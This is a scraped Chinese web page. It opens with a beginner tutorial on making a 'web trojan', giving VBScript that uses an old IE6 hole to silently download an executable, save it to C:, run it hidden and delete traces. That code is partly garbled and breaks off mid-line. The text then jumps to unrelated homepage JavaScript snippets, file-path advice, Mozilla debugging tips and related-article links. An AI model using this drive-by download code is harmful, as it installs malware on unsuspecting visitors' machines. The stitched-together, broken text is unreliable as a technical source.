网页木马制作讲解（菜鸟版本）
以前写了一篇文章，讲了关于怎样用最简单的方法获取对方的管理权限，里面用到了网页木马，最近有许多网友问我怎样制作网页木马，就这个问题我发表篇比较简单易懂的文章，希望大家珍惜我的劳动成果。
我们经常听到这样的忠告：“不要随意下在不明的程序，不要随意打开邮件的附件...”这样的忠告确实是有用的，不过我们的系统有不少漏洞，许多木马已经不需要客户端和服务端了，他们利用这些系统漏洞按照被系统认为合法的代码执行木马的功能，有的木马会在你完全不知道的情况下潜入，现在我来讲解下通过IE6的漏洞实现访问网页后神不知鬼不觉的下在并执行指定程序的例子，也就是网页木马.
首先我们需要编写几个简单的文件
一。名字为abc.abc的文件
<html>
<script language="vbscript">
Function HttpDoGet(url)
set oReq = CreateObject("Microsoft.XMLHTTP")
oReq.open "GET",url,false
oReq.send
If oReq.status=200 then
HttpDoGet=oReq.respomseBody
Savefile HttpDoGet,"c:win.exe"
End If
Set oReq=nothing
End Function
sub SaveFile(str.fName)
Set objStream = CreateObject("ADODB.Stream")
objStream.Type =1
objStream.Open
objStream.write str
objStream.SaveToFile fName.2
objStream.Close()
set objStream = nothing
exewin()
End sub
Sub exewin()
set wshshell=createobject ("wscript.shell" )
a=wshshell.run ("cmd.exe /c c:win.exe",0)
b=wshshell.run ("cmd.exe /c del c:win.hta",0)
window.close
End Sub
HttpDoGet "http://127.0.0.1/test.exe"
</script>
</html>
其中test.exe为木马程序，实现必须放在WEB发布的目录下，文件abc.abc也必须保存在发布的目录下。
二。名字为test.htm的文件
<html><body>
木马运行测试！（这句话可以改成你想说的）
<object date="' target=_blank>http://127.0.0.1/win.test";;;></object>
</body></html>
三。名字为win.test的文件
<html>
<body>
<script language="vbscript">
Function HttpDoGet(url)
set oReq = CreateObject("Microsoft.XMLHTTP")
oReq.open "GET",url,false
oReq.send
If oReq.status=200 then
HttpDoGet,"c:win.hta"
Set oReq=nothing
End if
end function
sub SaveFile(str,fName)
Dim fso, tf
S e t f s o = C r e a t e O b j e c t(Scripting.FileSystemObject")
Set tf = fso.CreateTextfile(fName,True)
tf.Write str
tf.Close
exewin()
End sub
Sub exewin()
set wshshell=createobject ("wscript.shell" )
a=wshshell.run ("cmd.exe /c c:win.hat",
如今，上网冲浪已经是一件很时髦的事情，在网上安“家”的虫虫们也越来越多。为了使自己的“家”更有特色，吸引更多的人参观，往往是“八仙过海，各显神通”。而使用得最多的就是应用一些JaveScript小插件。本文就向各位网友提供比较常用的小程序。
使用方法很简单，拷贝＋粘贴即可。如果你稍懂一些HTML语言和JaveScript插件语法则更好。
1.欢迎对话框
一进入网友的“家”，冷不丁蹦出来一个问好的对话框，是不是感到很亲切?没错，实现这效果的程序就是下面的几行：
＜SCRIPT LANGUAGE=″JAVASCRIPT″＞
alert (″n ″既来之，则安之″nn 欢迎您光临我的主页nn 别犹豫 nn LET'S GO！″);
＜/SCRIPT＞
(注：n 的作用是在对话框中换行)
＜b＞2.停留时间＜/b＞
网友进入你的“家”，抬头一看，有一个计时钟在不停地跳动，显示他的来访时间，很有趣吧!程序如下：
＜HTML＞
＜HEAD＞
＜META HTTP－EQUIV=″Content－Type″ CONTENT=″text/html;CHARSET=gb2312″＞
＜TITLE＞停留时间＜/TITLE＞
＜/HEAD＞
＜SCRIPT LANGUAGE=″JAVASCRIPT″＞
＜!－－
var ap_name = navigator.appName;
var ap_vinfo = navigator.appVersion;
var ap_ver = parseFloat(ap_vinfo.substring(0,ap_vinfo.indexOf(′(′)));
var time_start = new Date();
var clock_start = time_start.getTime();
var dl_ok=false;
function init ()
{
if(ap_name==″Netscape″ ＆＆ ap_ver＞=3.0)
dl_ok=true;
return true;
7}
function get_time_spent ()
{
var time_now = new Date();
return((time_now.getTime() － clock_start)/1000);
}
function show_secs () // show the time user spent on the side
{
var i_total_secs = Math.round(get_time_spent());
var i_secs_spent = i_total_secs ％ 60;
var i_mins_spent = Math.round((i_total_secs－30)/60);
var s_secs_spent = ″″ ＋ ((i_secs_spent＞9) ? i_secs_spent : ″0″ ＋ i_secs_spent);
var s_mins_spent = ″″ ＋ ((i_mins_spent＞9) ? i_mins_spent : ″0″ ＋ i_mins_spent);
document.fm0.time_spent.value = s_mins_spent ＋ ″:″ ＋ s_secs_spent;
window.setTimeout(′show_secs()′,1000);
}
// －－＞
＜/SCRIPT＞
＜BODY onLoad=″init(); window.setTimeout(′show_secs()′,1);″＞
＜form name=″fm0″ onSubmit=″0″＞
＜font size=″－1″＞＜I＞＜FONT COLOR=″＃888888″＞停留时间:＜/FONT＞＜/I＞＜/font＞＜br＞
＜INPUT type=″text″ name=″time_spent″ size=7 onFocus=″this.blur()″＞
＜/form＞
＜/BODY＞
＜/HTML＞
一、利用CSS样式 style="border:1px solid #ff0000"
<tr>
<td> </td>
</tr>
<tr>
<td> </td>
</tr>
</table>
新手在制作个人主页的时候常常会犯的错误就是路径的问题，并且还会有文件名或者文件夹名用中文的现象出现，这些我认为都是可以避免的。在这里我就说说自己的一些看法，大家有什么意见就跟贴说明。
首先我要提醒大家，做一个网站的时候大家最好先建立一个站点的文件夹，文件夹中的所有子文件夹或者文件最好不要用中文，因为中文在IE地址栏里是以某种方式形式（具体的是什么方式我就不清楚了，汗……菜的表现啊）。
接下来就说说路径的问题，路径的问题主要分为绝对路径跟相对路径。
绝对路径也就指把你的路径写全了（这样说大家应该可以明白吧），比如你的C盘下面有一个windows文件夹中有notepad.exe这个文件，那么你要写绝对路径也就是c:windowsnotepad.exe。用这个我建议不要用，要用的话也是用在引用他人网站的链接的时候才用。
好处：可以在任何位置使用这个文件
坏处：这个坏处应该是算在网页制作中的。如果这个文件移动了位置，那么将无法正确访问了。
相对路径一般是有[..] [.]以及/等分隔符组成的，就比如你当前所在的位置是C盘，而你想访问C:windowsnotepad.exe这个文件，那么你就可以用windows/notepad.exe这样的路径来访问（当然这些是在DOS时代用的，现在大家都用windows了，很少会用到这样的命令，不过我想大家也应该可以明白的。
说明：
..访问上一级目录中文件
没有任何分隔符而直接使用文件名做链接，比如<a href="index.html">首页</a>。
../../访问多级目录中的文件，../表示一个目录
好处：可以随时访问文件，就算你的整个站点文件夹移动了，还是可以正常访问，不会出现无法访问的错误。
坏处：很容易搞错文件的位置或者目录的位置
提示一下吧：大家做一个网站的时候，最好建立一个站点，那么软件自动会把路径设置成为相对路径，比如dreamweaver或者frontpage都有这个功能的。
一个站点制作好后，在细节上肯定还有一些值得调节的地方，比如无效链接，Java、Cookie错误等等，所以网站调试是一个不容忽视的环节。只要利用浏览器就可以完成这项工作。
虽然Internet Explorer（简称IE）在浏览器市场中占据着优势性份额，但并不是说它强大到无可挑剔的地步，除了安全隐患问题，在站长进行网站调试时，也暴露出IE的严重不足。其实，很多站长都利用Mozilla这款老牌的Web浏览器来调试自己的网站，它可以快速、高效、即时地找出网页中存在的问题。
为什么Mozilla比IE更适合调试网站
和IE不同的是，Mozilla不但可以用于网页浏览、网页编辑，更为重要的是Mozilla内置了强大的调试工具，能方便、高效地对站点网页进行JavaScript纠错、Cookie管理、源代码查看、DOM 查看和页面信息查询等，这些都是IE不容易做到的。
运用环境：当IE脚本信息太简单时
在网页编写中使用JavaScript是司空见惯的事情了，当JavaScript出现问题时，在IE浏览器中只会弹出一个简单的错误提示对话框，告诉你该网页有错误1），出错提示信息过于简单，而且无法进行管理，满足不了调试网页工作的需要。这种情况下，我们就可以利用Mozilla来解决。
错误，就这样被“揪出”
Mozilla内置了“JavaScript控制台”，只要你在网页调试时打开JavaScript控制台，就可以看到被记录下的JavaScript 错误提示信息，方便大家找出错误所在，起到即时修正网页错误的目的。
如何利用Mozilla内置的“JavaScript控制台”来快速定位问题所在？其实非常简单。使用Mozilla 浏览器进行网站调试时，依次点击“工具→Web开发→JavaScript控制台”项目后，弹出“JavaScript控制台”对话框2），在列表框中记录着网页的JavaScript出错信息，并且每项错误信息都详细地记录着出错的文件名、JavaScript错误所在行号，以及错误出现时的上下文，这样一来就很容易找出JavaScript出错位置和错误原因。此外，你还可以右键点击错误项目，在弹出的菜单中选择“复制”项目，将JavaScript出错信息复制到剪贴板中，以便保存到其他文件中。
相关文章
- 本篇文章主要分享了通过window.navigator来判断浏览器及其版本信息的实例代码。具有一定的参考价值，下面跟着小编一起来看下吧...2017-01-23
- 支付接口现在有第三方的支付接口也有银行的支付接口了，今天我们来介绍php版本银联支付接口开发实例了，这个我估计可以帮助到不少的朋友的哦。 银联支付，首先要注意二...2016-11-25
- 使用 conditional comment 来判断 IE 的版本。嗯，是早早有人提出，但没有认真看代码。昨天刚好在看 CSS3 PIE 的时候看到，觉得是不是不靠谱。今天看到 Paul Irish 也提起，那么，推荐一下吧。这是作者博客上写的：复制代码 代码...2014-05-31
- 当来访者浏览器语言是中文就进入中文版面，国外的用户默认浏览器不是中文的就跳转英文页面。 <?php $lan = substr( $HTTP_ACCEPT_LANGUAGE,0,5); if ($lan == "zh-cn") print("<meta http-equiv='refresh' c...2015-11-08
- 腾讯视频怎么放到自己的网页上?这个问题是一个基本的问题，要把腾讯视频放到自己的网页有许多的办法，当然一般情况就是直接使用它们的网页代码了，如果你要下载资源再放到...2016-09-20
- 这篇文章主要介绍了基于JavaScript实现网页倒计时自动跳转代码 的相关资料,需要的朋友可以参考下...2015-12-29
网页头部声明lang=”zh-cn”、lang=“zh”、lang=“zh-cmn-Hans”区别
我们现在使用的软件都会自动在前面加一个申明了，那么在网页头部声明lang=”zh-cn”、lang=“zh”、lang=“zh-cmn-Hans”区别是什么呢？下面我们就一起来看看吧． 单...2016-09-20- 本篇文章是对C#中自定义控件的制作与使用实例进行了详细的分析介绍，需要的朋友参考下...2020-06-25
- ps软件是现在很多人比较喜欢的，通过ps软件可以制作很不错的图片效果。这次文章就给大家介绍下使用ps怎么制作任务影子，具体制作方法下面一起来看看。 ps人物影子效...2017-07-06
- 这篇文章主要为大家详细介绍了C#如何检测操作系统版本的相关资料,具有一定的参考价值，感兴趣的小伙伴们可以参考一下...2020-06-25
- 有没有觉得外面拍的证件照都很丑。那么本文就教大家制作二寸证件照的方法，学会了就能做自己美美的证件照了哈哈！ 步骤 双击打开php,首先教大家制作两寸照片的大小。...2016-12-21
SpringBoot高版本修改为低版本时测试类报错的解决方案
这篇文章主要介绍了SpringBoot高版本修改为低版本时测试类报错的解决方案，具有很好的参考价值，希望对大家有所帮助。如有错误或未考虑完全的地方，望不吝赐教...2021-09-18- 在jquery.1.9以前的版本，可以使用$.browser很轻松的判断浏览器的类型和版本，但是在1.9中和以后的版本中，$.browser已经被删除，下面就介绍一下如何实现此功能，希望能够给需要的朋友带来帮助...2016-01-14
- 这篇文章主要介绍了C#实现Winform中打开网页页面的方法,涉及WinForm中WebBrowser的相关使用技巧,具有一定参考借鉴价值,需要的朋友可以参考下...2020-06-25
永久解决 Intellij idea 报错:Error :java 不支持发行版本5的问题
这篇文章主要介绍了永久解决 Intellij idea 报错:Error :java 不支持发行版本5的问题,本文给大家介绍的非常详细，对大家的学习或工作具有一定的参考借鉴价值，需要的朋友可以参考下...2021-02-20- ps软件使用对很多人来说是非常重要的，很多人还不知道使用ps怎么制作宣传单，下面文章就给大家介绍下ps怎么制作宣传单，喜欢次效果的一起来看看。。 首先，我们新建一个2...2017-07-06
- 最近的一个项目中，需要将数据用日历方式显示，网上有很多的JS插件，后面为了自己能有更大的控制权，决定自己制作一个日历显示。如下图所示：一、计算数据 1、new一个Calendar类2、初始化两个下拉框中的数据，年份与月份3、初始...2015-11-24
- 这篇文章主要介绍了Go语言通过http抓取网页的方法,实例分析了Go语言通过http操作页面的技巧,需要的朋友可以参考下...2020-05-05
- 这篇文章主要介绍了vue如何在用户要关闭当前网页时弹出提示的实现，文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值，需要的朋友们下面随着小编来一起学习学习吧...2020-06-01
- 本文主要一步一步介绍利用C#抓取页面数据的过程，抓取HTML，获取标题、描述、图片等信息，并去除HTML，希望对大家有所帮助。...2020-06-25